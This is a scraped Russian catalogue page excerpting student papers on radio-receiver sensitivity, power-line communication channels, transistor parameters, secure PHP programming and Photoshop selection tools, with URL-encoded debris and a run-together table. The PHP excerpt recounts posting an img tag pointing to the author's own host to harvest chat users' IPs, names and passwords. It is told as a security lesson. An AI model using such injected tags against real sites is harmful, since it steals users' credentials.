1%83%d1%8e%20%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8e.%20%d0%9f%d1%80%d0%b5%d0%b4%d0%b5%d0%bb%d1%8c%d0%bd%d0%b0%d1%8f%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%20%d0%b2%20%d1%8d%d1%82%d0%be%d0%bc%20%d1%81%d0%bb%d1%83%d1%87%d0%b0%d0%b5%20%d0%bd%d0%b0%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82%d1%81%d1%8f%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%d1%8e,%20%d0%be%d0%b3%d1%80%d0%b0%d0%bd%d0%b8%d1%87%d0%b5%d0%bd%d0%bd%d0%be%d0%b9%20%d0%bf%d0%be%d0%bc%d0%b5%d1%85%d0%b0%d0%bc%d0%b8;%20%d0%be%d0%bd%d0%b0%20%d1%8f%d0%b2%d0%bb%d1%8f%d0%b5%d1%82%d1%81%d1%8f%20%d0%bf%d0%b0%d1%80%d0%b0%d0%bc%d0%b5%d1%82%d1%80%d0%be%d0%bc%20%d0%bd%d0%b5%20%d1%82%d0%be%d0%bb%d1%8c%d0%ba%d0%be%20%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0,%20%d0%bd%d0%be%20%d0%b7%d0%b0%d0%b2%d0%b8%d1%81%d0%b8%d1%82%20%d0%b8%20%d0%be%d1%82%20%d0%b2%d0%bd%d0%b5%d1%88%d0%bd%d0%b8%d1%85%20%d1%84%d0%b0%d0%ba%d1%82%d0%be%d1%80%d0%be%d0%b2.%20%d0%9f%d1%80%d0%b8%20%d0%bd%d0%b0%d0%b8%d0%b1%d0%be%d0%bb%d0%b5%d0%b5%20%d0%b1%d0%bb%d0%b0%d0%b3%d0%be%d0%bf%d1%80%d0%b8%d1%8f%d1%82%d0%bd%d1%8b%d1%85%20%d1%83%d1%81%d0%bb%d0%be%d0%b2%d0%b8%d1%8f%d1%85%20(%d0%b3%d0%bb%d0%b0%d0%b2%d0%bd%d1%8b%d0%bc%20%d0%be%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%bc%20%d0%bf%d1%80%d0%b8%20%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%b5%20%d0%b2%20%d0%b4%d0%b8%d0%b0%d0%bf%d0%b0%d0%b7%d0%be%d0%bd%d0%b5%20%d0%bc%d0%b5%d1%82%d1%80%d0%be%d0%b2%d1%8b%d1%85%20%d0%b8%20%d0%b1%d0%be%d0%bb%d0%b5%d0%b5%20%d0%ba%d0%be%d1%80%d0%be%d1%82%d0%ba%d0%b8%d1%85%20%d0%b2%d0%be%d0%bb%d0%bd%20%d0%b8%20%d0%be%d1%81%d0%be%d0%b1%d0%b5%d0%bd%d0%bd%d0%be%20%d0%bf%d1%80%d0%b8%20%d0%ba%d0%be%d1%81%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b9%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b2%d1%8f%d0%b7%d0%b8)%20%d0%b2%d0%bd%d0%b5%d1%88%d0%bd%d0%b8%d0%b5%20%d0%bf%d0%be%d0%bc%d0%b5%d1%85%d0%b8%20%d1%81%d0%bb%d0%b0%d0%b1%d1%8b%20%d0%b8%20%d0%be%d1%81%d0%bd%d0%be%d0%b2%d0%bd%d1%8b%d0%bc%20%d1%84%d0%b0%d0%ba%d1%82%d0%be%d1%80%d0%be%d0%bc,%20%d0%be%d0%b3%d1%80%d0%b0%d0%bd%d0%b8%d1%87%d0%b8%d0%b2%d0%b0%d1%8e%d1%89%d0%b8%d0%bc%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0,%20%d1%81%d1%82%d0%b0%d0%bd%d0%be%d0%b2%d1%8f%d1%82%d1%81%d1%8f%20%d0%b2%d0%bd%d1%83%d1%82%d1%80%d0%b5%d0%bd%d0%bd%d0%b8%d0%b5%20%d1%84%d0%bb%d1%83%d0%ba%d1%82%d1%83%d0%b0%d1%86%d0%b8%d0%be%d0%bd%d0%bd%d1%8b%d0%b5%20%d1%88%d1%83%d0%bc%d1%8b%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0.%20%d0%9f%d0%be%d1%81%d0%bb%d0%b5%d0%b4%d0%bd%d0%b8%d0%b5%20%d0%b2%20%d0%bd%d0%be%d1%80%d0%bc%d0%b0%d0%bb%d1%8c%d0%bd%d1%8b%d1%85%20%d1%83%d1%81%d0%bb%d0%be%d0%b2%d0%b8%d1%8f%d1%85%20%d1%80%d0%b0%d0%b1%d0%be%d1%82%d1%8b%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%20%d0%b8%d0%bc%d0%b5%d1%8e%d1%82%20%d0%bf%d0%be%d1%81%d1%82%d0%be%d1%8f%d0%bd%d0%bd%d1%8b%d0%b9%20%d1%83%d1%80%d0%be%d0%b2%d0%b5%d0%bd%d1%8c,%20%d0%bf%d0%be%d1%8d%d1%82%d0%be%d0%bc%d1%83%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0,%20%d0%be%d0%b3%d1%80%d0%b0%d0%bd%d0%b8%d1%87%d0%b5%d0%bd%d0%bd%d0%b0%d1%8f%20%d0%b2%d0%bd%d1%83%d1%82%d1%80%d0%b5%d0%bd%d0%bd%d0%b8%d0%bc%d0%b8%20%d1%88%d1%83%d0%bc%d0%b0%d0%bc%d0%b8,%20-%20%d0%b2%d0%bf%d0%be%d0%bb%d0%bd%d0%b5%20%d0%be%d0%bf%d1%80%d0%b5%d0%b4%d0%b5%d0%bb%d1%91%d0%bd%d0%bd%d1%8b%d0%b9%20%d0%bf%d0%b0%d1%80%d0%b0%d0%bc%d0%b5%d1%82%d1%80;%20%d0%b7%d0%b0%20%d0%bc%d0%b5%d1%80%d1%83%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d0%b8%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%20%d0%b2%20%d1%8d%d1%82%d0%be%d0%bc%20%d1%81%d0%bb%d1%83%d1%87%d0%b0%d0%b5%20%d1%87%d0%b0%d1%81%d1%82%d0%be%20%d0%bf%d1%80%d0%b8%d0%bd%d0%b8%d0%bc%d0%b0%d1%8e%d1%82%20%d0%bd%d0%b5%d0%bf%d0%be%d1%81%d1%80%d0%b5%d0%b4%d1%81%d1%82%d0%b2%d0%b5%d0%bd%d0%bd%d0%be%20%d1%83%d1%80%d0%be%d0%b2%d0%b5%d0%bd%d1%8c%20%d0%b2%d0%bd%d1%83%d1%82%d1%80%d0%b5%d0%bd%d0%bd%d0%b8%d1%85%20%d1%88%d1%83%d0%bc%d0%be%d0%b2,%20%d1%85%d0%b0%d1%80%d0%b0%d0%ba%d1%82%d0%b5%d1%80%d0%b8%d0%b7%d1%83%d0%b5%d0%bc%d1%8b%d0%b9%20%d0%ba%d0%be%d1%8d%d1%84%d1%84%d0%b8%d1%86%d0%b8%d0%b5%d0%bd%d1%82%d0%be%d0%bc%20%d1%88%d1%83%d0%bc%d0%b0.">Чувствительность радиоприёмника, способность радиоприёмника <http://slovari.yandex.ru/%7E%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8/%D0%91%D0%A1%D0%AD/%D0%A0%D0%B0%D0%B4%D0%B8%D0%BE%D0%BF%D1%80%D0%B8%D1%91%D0%BC%D0%BD%D0%B8%D0%BA/> принимать слабые по интенсивности радиосигналы и количественный критерий этой способности. Последний во многих случаях определяется как минимальный уровень радиосигнала в приёмной антенне (эдс, наводимая сигналом в антенне и выражаемая обычно в мв или мкв, либо напряжённость поля вблизи антенны, выражаемая в мв/м), при котором содержащаяся в радиосигнале полезная информация ещё может быть воспроизведена с требуемым качеством (с достаточными громкостью звучания и т.п.). В простейших радиоприёмниках чувствительность зависит главным образом от степени усиления сигналов в них: с увеличением коэффициента усиления нормальное воспроизведение информации достигается при более слабом радиосигнале (чувствительность радиоприемника считается при этом более высокой). Однако в сложных радиоприёмных устройствах (например, связных) такой путь повышения чувствительности радиоприемника теряет смысл, поскольку в них интенсивность полезных радиосигналов может оказаться сравнимой с интенсивностью действующих на антенну одновременно с этими сигналами внешних помех радиоприёму <http://slovari.yandex.ru/%7E%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8/%D0%91%D0%A1%D0%AD/%D0%9F%D0%BE%D0%BC%D0%B5%D1%85%D0%B8%20%D1%80%D0%B0%D0%B4%D0%B8%D0%BE%D0%BF%D1%80%D0%B8%D1%91%D0%BC%D1%83/>, искажающих принимаемую информацию. Предельная чувствительность радиоприемника в этом случае называется чувствительностью, ограниченной помехами; она является параметром не только приёмника, но зависит и от внешних факторов. При наиболее благоприятных условиях (главным образом при приёме в диапазоне метровых и более коротких волн и особенно при космической радиосвязи) внешние помехи слабы и основным фактором, ограничивающим чувствительность радиоприемника, становятся внутренние флуктуационные шумы радиоприёмника. Последние в нормальных условиях работы радиоприёмника имеют постоянный уровень, поэтому чувствительность радиоприемника, ограниченная внутренними шумами, - вполне определённый параметр; за меру чувствительности радиоприемника в этом случае часто принимают непосредственно уровень внутренних шумов, характеризуемый коэффициентом шума.

  • 5797. Приемник цифровой системы передачи информации ВЧ-каналом связи по ВЛ
    Дипломная работа пополнение в коллекции 10.10.2010

    Надежность линии электропередачи значительно выше надежности воздушных и кабельных линий связи благодаря высокой прочности линейных проводов и поддерживающих конструкций (опор). Линии электропередачи повреждаются только при мощных природных воздействиях, таких как ураган, гроза или очень сильный гололёд, в то время как воздушные линии связи повреждаются при сильном ветре, сравнительно небольших гололёдных образованиях, а кабели повреждаются землеройными механизмами, при оползнях, половодьях, вибрациях почвы от автотранспорта и других причинах. Во многих случаях линия электропередачи (ЛЭП) является кратчайшим путем, связывающим энергетические предприятия (например, подстанции), между которыми нужны каналы связи. При этом отпадает необходимость в строительстве линии проводной связи, а также, и это очень важно, в организации их эксплуатации. Эксплуатация ВЛ, требующая специальной линейной службы с большим количеством персонала, ведется независимо от организации по ней каналов связи. По этим причинам затраты на сооружение и эксплуатацию каналов связи по проводам ВЛ значительно меньше аналогичных затрат на каналы по специальным воздушным, кабельным или радиорелейным линиям связи. В то же время использование для связи проводов ВЛ сопряжено с рядом трудностей, которые приходится учитывать при конструировании аппаратуры и проектировании каналов связи.

  • 5798. Приемники непрерывных сигналов
    Курсовой проект пополнение в коллекции 27.11.2010

    Тип транзистора (МГц) (Ом) (пФ) (пС)Шт (дБ) (Ом) (Ом)КТ 342 В300200400470075 50КТ 306 А500303055001530 100КТ 306 Б650306055001530 100КТ 3126 А50071002,51585 6КТ 3127 А600615011055 10КТ 316 А60017603501015 16,7КТ 316 Б,В800171203501015 16,7КТ 316 Г6001710031501015 50КТ 316 Д8001730031501015 50КТ 3128 А80071501556 5КТ 397 А800253001,340620 30,8КТ 3109 А80081511067 10ГТ 311 А7708701,85088 27,8ГТ 311 Б15008801,51005,18 66,7ГТ 311 Г15008601,5755,18 50ГТ 311 Д150071101,5755,18 50ГТ 329 А120022100215410 7,5Т 341 А195060601104,530 10КТ 382 А225033302633 3КТ 382 Б225033300,75,54,53 2,8КТ 372 А24002010193,58 9КТ 372 Б30002010193,58 9КТ 371 А3600102001,21058 8,3Т 3624800520011048 10ГТ 362 Б480052000,53048 6КТ 391 А700081500,73,74,57 5,3КТ 391 Б7000815013,74,57 5,3КТ 368 А700063001,7153,35 2,8КТ 368 Б700063001,7152,85 2,8КТ 3115 А-275009200,6957 15КТ 3124 А-2800062000,62,555 4,2КТ 610 А10000123004,155610 13,4КТ 610 Б7000123004,12265,4

  • 5799. Приемы безопасного программирования веб-приложений на PHP
    Информация пополнение в коллекции 12.01.2009

    , в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.">Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

  • 5800. Приемы и инструменты выделения в растровом графическом редакторе Adobe PhotoShop
    Дипломная работа пополнение в коллекции 22.01.2012

    В отличие от выше предложенных статьях источник [4] более детально рассматривает параметры инструментов, но не всё. Для тех, кому не интересны тонкости, а лишь для «отмашки» что-то узнать, то такой учебник им подходит. Автор делает акцент на «разновидностях Lasso (лассо), Magic Wand (волшебная палочка) ну и, пожалуй, Color Range (цветовой диапазон). А ведь это примерно и есть 10% возможностей программы» [4]. Рассмотрение этих инструментов предлагается в форме урока, чтобы учащиеся могли закрепить новый материал. Урок простой по уровню сложности, довольно таки подробный, подходит для тех, кому нужно очень быстро освоить тот или иной инструмент.